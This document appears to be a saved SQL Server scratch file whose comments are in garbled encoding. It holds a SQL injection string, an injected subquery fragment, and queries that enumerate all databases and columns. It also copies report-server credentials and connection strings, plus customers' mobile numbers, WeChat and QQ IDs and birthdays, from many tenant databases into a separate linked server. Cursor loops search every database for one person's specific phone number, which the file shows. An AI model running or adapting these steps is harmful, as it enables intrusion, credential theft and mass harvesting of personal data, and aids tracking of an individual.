You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
447 lines
11 KiB
447 lines
11 KiB
create table t(id int)
|
|
|
|
insert t
|
|
select 1
|
|
test' or 1=1 or '' = '
|
|
|
|
create table TCDatabase
|
|
(
|
|
name varchar(2000)
|
|
)
|
|
|
|
create table TCTable
|
|
(
|
|
name varchar(2000)
|
|
)
|
|
|
|
create table TCColumns
|
|
(
|
|
db varchar(2000),
|
|
col varchar(2000)
|
|
)
|
|
|
|
6305_yxtzs
|
|
|
|
select * from TCDatabase with(nolock)
|
|
where name like '%ruirui%'
|
|
ORDER BY name
|
|
|
|
|
|
SELECT * FROM TCTable
|
|
WHERE 1=1
|
|
AND name like '%member%'
|
|
order by name
|
|
|
|
select count(1) from TCDatabase with(nolock)
|
|
|
|
SELECT count(1) FROM TCColumns WITH(NOLOCK)
|
|
|
|
declare @table varchar(100)
|
|
select @table = 'bo_Company_Member'
|
|
declare @sql varchar(8000)
|
|
select @sql = ' create table ' + @table + '('
|
|
SELECT @sql = @sql + col + ' VARCHAR(1000) ,' FROM TCColumns WITH(NOLOCK)
|
|
WHERE db = @table
|
|
order by col
|
|
select @sql = left(@sql,len(@sql)-1) + ')'
|
|
|
|
--Éú³Ésql
|
|
declare @table varchar(100)
|
|
select @table = 'bo_Company_Member'
|
|
|
|
declare @sql varchar(8000)
|
|
select @sql = 'insert s.test.dbo.' + @table + '(';
|
|
select @sql = @sql + col + ','
|
|
from TCColumns
|
|
WHERE db = @table
|
|
select @sql = left(@sql,len(@sql)-1) + ')select '
|
|
select @sql = @sql + col + ','
|
|
from TCColumns
|
|
WHERE db = @table
|
|
select @sql = left(@sql,len(@sql)-1) + char(10) + char(13) +' from ' + '[database].dbo.' + @table
|
|
|
|
print @sql
|
|
|
|
select * from bo_Company_Member
|
|
|
|
|
|
insert s.test.dbo.TCDatabase(name)
|
|
select top 800 name from sys.databases where name not in(select name from s.test.dbo.TCDatabase)
|
|
order by name
|
|
|
|
insert s.test.dbo.TCTable(name)
|
|
select name from sys.objects where name not in(select name from s.test.dbo.TCTable)
|
|
and type = 'u'
|
|
order by name
|
|
|
|
|
|
--report_table
|
|
create table report_table
|
|
(
|
|
name varchar(100)
|
|
)
|
|
|
|
--report_table
|
|
insert s.test.dbo.report_table(name)
|
|
select name from reportServer.sys.objects where 1=1
|
|
and type = 'u'
|
|
order by name
|
|
|
|
|
|
--reportcolumn
|
|
drop table report_column
|
|
create table report_column
|
|
(
|
|
tbl varchar(100),
|
|
col varchar(100),
|
|
type varchar(100)
|
|
)
|
|
insert s.test.dbo.report_column(tbl,col,type)
|
|
select a.name, b.name,b.type from reportServer.sys.sysobjects as a, reportServer.sys.syscolumns as b
|
|
where a.id = b.id
|
|
and a.type = 'u'
|
|
order by a.name
|
|
|
|
AND not exists(select 1 from s.test.dbo.report_column as c where c.tbl = a.name and c.col = b.name)
|
|
|
|
SELECT * FROM report_column WITH(NOLOCK)
|
|
|
|
--
|
|
,reamrk =(select count(1) from reportServer..Users)--
|
|
|
|
|
|
--report_datasource
|
|
drop table report_datasource
|
|
create table report_datasource
|
|
(
|
|
DSID varchar(1000) ,
|
|
ItemID varchar(1000) ,
|
|
SubscriptionID varchar(1000) ,
|
|
Name varchar(1000) ,
|
|
Extension varchar(1000) ,
|
|
Link varchar(1000) ,
|
|
CredentialRetrieval varchar(1000) ,
|
|
Prompt varchar(1000) ,
|
|
ConnectionString image,
|
|
OriginalConnectionString image ,
|
|
OriginalConnectStringExpressionBased varchar(1000) ,
|
|
UserName image ,
|
|
Password image ,
|
|
Flags varchar(1000) ,
|
|
Version varchar(1000)
|
|
)
|
|
|
|
insert s.test.dbo.report_datasource(DSID,ItemID,SubscriptionID,Name,Extension,Link,CredentialRetrieval,Prompt,ConnectionString,OriginalConnectionString,OriginalConnectStringExpressionBased,UserName,Password,Flags)
|
|
SELECT DSID,ItemID,SubscriptionID,Name,Extension,Link,CredentialRetrieval,Prompt,ConnectionString,OriginalConnectionString,OriginalConnectStringExpressionBased,UserName,Password,Flags
|
|
FROM reportserver.dbo.DataSource
|
|
|
|
|
|
SELECT col + ' varchar(1000) ,' ,type_name(type) from report_column where tbl = 'DataSource'
|
|
|
|
declare @sql varchar(8000)
|
|
select @sql =''
|
|
select @sql = @sql + col + ',' from report_column where tbl = 'DataSource'
|
|
print @sql
|
|
|
|
SELECT * FROM report_datasource
|
|
|
|
|
|
SELECT * FROM report_table
|
|
|
|
-- 7717_hgyz table
|
|
create table temp_table
|
|
(
|
|
name varchar(2000)
|
|
)
|
|
|
|
|
|
insert s.test.dbo.temp_table(name)
|
|
select name from [7717_hgyz].sys.objects where 1=1
|
|
and type = 'u'
|
|
order by name
|
|
|
|
|
|
--bo_role
|
|
create table bo_role
|
|
(
|
|
CreateTime VARCHAR(1000) ,
|
|
FatherID VARCHAR(1000) ,
|
|
GroupID VARCHAR(1000) ,
|
|
ID VARCHAR(1000) ,
|
|
LWGroup VARCHAR(1000) ,
|
|
Name VARCHAR(1000) ,
|
|
Power VARCHAR(1000) ,
|
|
Remark VARCHAR(1000) ,
|
|
Role_Power VARCHAR(1000) ,
|
|
ShouYe VARCHAR(1000) ,
|
|
SourceID VARCHAR(1000) ,
|
|
TreeViews VARCHAR(1000) ,
|
|
UpdateTime VARCHAR(1000)
|
|
)
|
|
|
|
insert s.test.dbo.bo_role(
|
|
CreateTime,FatherID,GroupID,ID,LWGroup,Name,Power,Remark,Role_Power,ShouYe,SourceID,TreeViews,UpdateTime)
|
|
select CreateTime,FatherID,GroupID,ID,LWGroup,Name,Power,Remark,Role_Power,ShouYe,SourceID,TreeViews,UpdateTime
|
|
from bo_role
|
|
|
|
SELECT * FROM bo_role
|
|
|
|
|
|
|
|
---
|
|
|
|
insert s.test.dbo.TCColumns(db,col)
|
|
select top 800 a.name, b.name from sys.sysobjects as a, sys.syscolumns as b
|
|
where a.id = b.id
|
|
and a.type = 'u'
|
|
AND not exists(select 1 from s.test.dbo.TCColumns as c where c.db = a.name and c.col = b.name)
|
|
order by a.name
|
|
|
|
delete TCColumns
|
|
|
|
|
|
delete TCShop
|
|
|
|
select name from TCDatabase with(nolock)
|
|
where name like '%js%'
|
|
AND '[' +name+']' not in('[6412_jszx]','[6419_jsnh]','[6421_jsgj]','[6422_jsyz]','[6412_jszx]',
|
|
'[6558_jswy]','[7067_mnjs]','[7686_jsmy]','[7451_jsyy]','[7616_aysjsj]','[7660_ldjs]','[7859_jsdz]',
|
|
'[7202_jsyg]','[7733_jspf]','[6546_jst]','[6575_jsz]','[7780_gzjs]','[7537_sjs]','[7584_ljss]','[7988_dygjs]',
|
|
'[7381_jsfy]','[7139_jshf]','[6753_jsz]','[7575_djss]','7409_fjst')
|
|
ORDER BY name
|
|
|
|
insert s.test.dbo.TCShop(id,name)
|
|
select id,name from [smjsnzhs].dbo.bo_Group
|
|
|
|
SELECT * FROM TCShop
|
|
|
|
delete TCShop
|
|
|
|
create table TCShop
|
|
(
|
|
id varchar(100),
|
|
name varchar(100)
|
|
)
|
|
select * from TCGroup
|
|
drop table TCGroup
|
|
create table TCGroup
|
|
(
|
|
db varchar(200),
|
|
id varchar(200),
|
|
name varchar(3000),
|
|
address varchar(3000)
|
|
)
|
|
|
|
drop table bo_Customer
|
|
|
|
CREATE TABLE bo_Group
|
|
(
|
|
Address VARCHAR(1000) ,
|
|
CreateTime VARCHAR(1000) ,
|
|
Dealers VARCHAR(1000) ,
|
|
DefaultZD VARCHAR(1000) ,
|
|
FatherID VARCHAR(1000) ,
|
|
ID VARCHAR(100) ,
|
|
Img VARCHAR(1000) ,
|
|
IsAgreeShare VARCHAR(1000) ,
|
|
IsFenXiao VARCHAR(1000) ,
|
|
IsGuDong VARCHAR(1000) ,
|
|
IsHeadShop VARCHAR(1000) ,
|
|
IsJiKe VARCHAR(1000) ,
|
|
isShow VARCHAR(1000) ,
|
|
IsYuanGong VARCHAR(1000) ,
|
|
lat VARCHAR(1000) ,
|
|
lng VARCHAR(1000) ,
|
|
LocationAddress VARCHAR(1000) ,
|
|
Name VARCHAR(1000) ,
|
|
Remark VARCHAR(1000) ,
|
|
State VARCHAR(1000) ,
|
|
Tel VARCHAR(1000) ,
|
|
TreeViews VARCHAR(1000) ,
|
|
UpdateTime VARCHAR(1000) ,
|
|
primary key (ID)
|
|
)
|
|
|
|
CREATE TABLE bo_Customer
|
|
(
|
|
Address VARCHAR(1000) ,
|
|
AdviserType VARCHAR(1000) ,
|
|
AgeType VARCHAR(1000) ,
|
|
BeauticianType VARCHAR(1000) ,
|
|
BloodType VARCHAR(1000) ,
|
|
Brithday VARCHAR(1000) ,
|
|
CarBrand VARCHAR(1000) ,
|
|
CarCode VARCHAR(1000) ,
|
|
CarPrice VARCHAR(1000) ,
|
|
CarType VARCHAR(1000) ,
|
|
Company VARCHAR(1000) ,
|
|
constellation VARCHAR(1000) ,
|
|
CreateTime VARCHAR(1000) ,
|
|
CreditPrice VARCHAR(1000) ,
|
|
CreditSum VARCHAR(1000) ,
|
|
CreditUnitsID VARCHAR(1000) ,
|
|
CustomerCarID VARCHAR(1000) ,
|
|
CustomerType VARCHAR(1000) ,
|
|
CustomerTypeMark VARCHAR(1000) ,
|
|
DeleteState VARCHAR(1000) ,
|
|
EarnestMoney VARCHAR(1000) ,
|
|
EatType VARCHAR(1000) ,
|
|
Email VARCHAR(1000) ,
|
|
GroupID VARCHAR(1000) ,
|
|
HealthType VARCHAR(1000) ,
|
|
Height VARCHAR(1000) ,
|
|
Hight VARCHAR(1000) ,
|
|
ID VARCHAR(20) ,
|
|
ImgUrl VARCHAR(1000) ,
|
|
IsBirthday VARCHAR(1000) ,
|
|
IsCredit VARCHAR(1000) ,
|
|
IsExcel VARCHAR(1000) ,
|
|
IsVip VARCHAR(1000) ,
|
|
JobType VARCHAR(1000) ,
|
|
Kind VARCHAR(1000) ,
|
|
ManageDateTime VARCHAR(1000) ,
|
|
ManageID VARCHAR(1000) ,
|
|
MarryType VARCHAR(1000) ,
|
|
messageCost VARCHAR(1000) ,
|
|
Mobile VARCHAR(1000) ,
|
|
MotionType VARCHAR(1000) ,
|
|
Name VARCHAR(1000) ,
|
|
NameCode VARCHAR(1000) ,
|
|
openID VARCHAR(1000) ,
|
|
QQ VARCHAR(1000) ,
|
|
Referrals VARCHAR(1000) ,
|
|
Remark VARCHAR(1000) ,
|
|
Score VARCHAR(1000) ,
|
|
Sex VARCHAR(1000) ,
|
|
sid VARCHAR(1000) ,
|
|
Source VARCHAR(1000) ,
|
|
State VARCHAR(1000) ,
|
|
UpdateTime VARCHAR(1000) ,
|
|
WeiXin VARCHAR(1000) ,
|
|
PRIMARY KEY (ID)
|
|
)
|
|
|
|
SELECT count(1) FROM bo_Customer WITH(NOLOCK)
|
|
SELECT * FROM bo_Customer WITH(NOLOCK)
|
|
|
|
delete bo_Customer
|
|
insert s.test.dbo.bo_Customer(Address,AdviserType,AgeType,BeauticianType,BloodType,Brithday,CarBrand,CarCode,CarPrice,CarType,Company,constellation,CreateTime,CreditPrice,CreditSum,CreditUnitsID,CustomerCarID,CustomerType,CustomerTypeMark,DeleteState,EarnestMoney,EatType,Email,GroupID,HealthType,Height,Hight,ID,ImgUrl,IsBirthday,IsCredit,IsExcel,IsVip,JobType,Kind,ManageDateTime,ManageID,MarryType,messageCost,Mobile,MotionType,Name,NameCode,openID,QQ,Referrals,Remark,Score,Sex,sid,Source,State,UpdateTime,WeiXin)
|
|
select top 1000 Address,AdviserType,AgeType,BeauticianType,BloodType,Brithday,CarBrand,CarCode,CarPrice,CarType,Company,constellation,CreateTime,CreditPrice,CreditSum,CreditUnitsID,CustomerCarID,CustomerType,CustomerTypeMark,DeleteState,EarnestMoney,EatType,Email,GroupID,HealthType,Height,Hight,ID,ImgUrl,IsBirthday,IsCredit,IsExcel,IsVip,JobType,Kind,ManageDateTime,ManageID,MarryType,messageCost,Mobile,MotionType,Name,NameCode,openID,QQ,Referrals,Remark,Score,Sex,sid,Source,State,UpdateTime,WeiXin
|
|
from [7859_jsdz].dbo.bo_Customer as a
|
|
WHERE not exists(select 1 from s.test.dbo.bo_Customer as b where a.id = b.id )
|
|
|
|
|
|
order by name
|
|
|
|
select * from TCGroup
|
|
|
|
delete TCGroup
|
|
|
|
|
|
|
|
CREATE TABLE TCState
|
|
(
|
|
name VARCHAR(20),
|
|
cmd varchar(2000)
|
|
)
|
|
|
|
select count(1) from ( select name from TCState group by name) as a
|
|
|
|
SELECT count(1) FROM TCState
|
|
SELECT * FROM TCState
|
|
|
|
|
|
create table #t
|
|
(
|
|
name varchar (200),
|
|
cmd varchar(2000)
|
|
)
|
|
|
|
declare list cursor for
|
|
select '[' + a.name + ']' from sys.sysdatabases as a WHERE STATUS & 512 != 512
|
|
AND Not EXISTS(SELECT 1 FROM s.test.dbo.TCState AS B WHERE '[' + a.name + ']' = b.name)
|
|
order by name desc
|
|
open list
|
|
declare @name varchar(100)
|
|
fetch list into @name
|
|
while @@fetch_status = 0
|
|
begin
|
|
declare @sql varchar(2000)
|
|
select @sql = 'if exists(select 1 from '+@name+'.dbo.bo_customer where mobile = ''13708750379'')
|
|
insert s.test.dbo.TCGroup(id,name)
|
|
select '''+@name+''',name from '+@name+'.dbo.bo_Group ';
|
|
begin try
|
|
exec (@sql)
|
|
insert #t(name,cmd)
|
|
select @name,@sql
|
|
end try
|
|
begin catch
|
|
insert #t(name,cmd)
|
|
select @name,ERROR_MESSAGE()
|
|
end catch
|
|
|
|
if (select count(1) from #t) >= 1
|
|
begin
|
|
insert s.test.dbo.TCState(name,cmd)
|
|
select name,cmd from #t
|
|
delete #t
|
|
end
|
|
print @sql
|
|
fetch list into @name
|
|
end
|
|
close list
|
|
deallocate list
|
|
|
|
|
|
|
|
--
|
|
|
|
--Ãŵê
|
|
|
|
SELECT count(1) FROM TCGroup WITH(NOLOCK)
|
|
SELECT * FROM TCGroup WITH(NOLOCK)
|
|
WHERE name like '%»Ê¹óÒ»×åÃÀ·¢µê%' or name like '%½ðɳ%'
|
|
|
|
create table #t
|
|
(
|
|
db varchar (200),
|
|
id varchar(200),
|
|
name varchar(2000),
|
|
address varchar(2000)
|
|
)
|
|
declare list cursor for
|
|
select '[' + a.name + ']' from sys.sysdatabases as a WHERE STATUS & 512 != 512
|
|
AND Not EXISTS(SELECT 1 FROM s.test.dbo.TCGroup AS B WHERE '[' + a.name + ']' = b.db)
|
|
order by name desc
|
|
open list
|
|
declare @name varchar(100)
|
|
fetch list into @name
|
|
while @@fetch_status = 0
|
|
begin
|
|
declare @sql varchar(2000)
|
|
select @sql = 'insert #t(db,id,name,address) select '''+@name+''',id,name,address from '
|
|
+@name+'.dbo.bo_Group ';
|
|
|
|
|
|
exec (@sql)
|
|
print @sql
|
|
|
|
if (select count(1) from #t) >= 10
|
|
begin
|
|
insert s.test.dbo.TCGroup(db,id,name,address)
|
|
select db,id,name,address from #t
|
|
delete #t
|
|
end
|
|
print @sql
|
|
fetch list into @name
|
|
end
|
|
close list
|
|
deallocate list
|
|
|
|
|
|
|
|
SELECT * FROM dbo.bo_Customer WHERE mobile = '13708750379'
|
|
|
|
|
|
|
|
|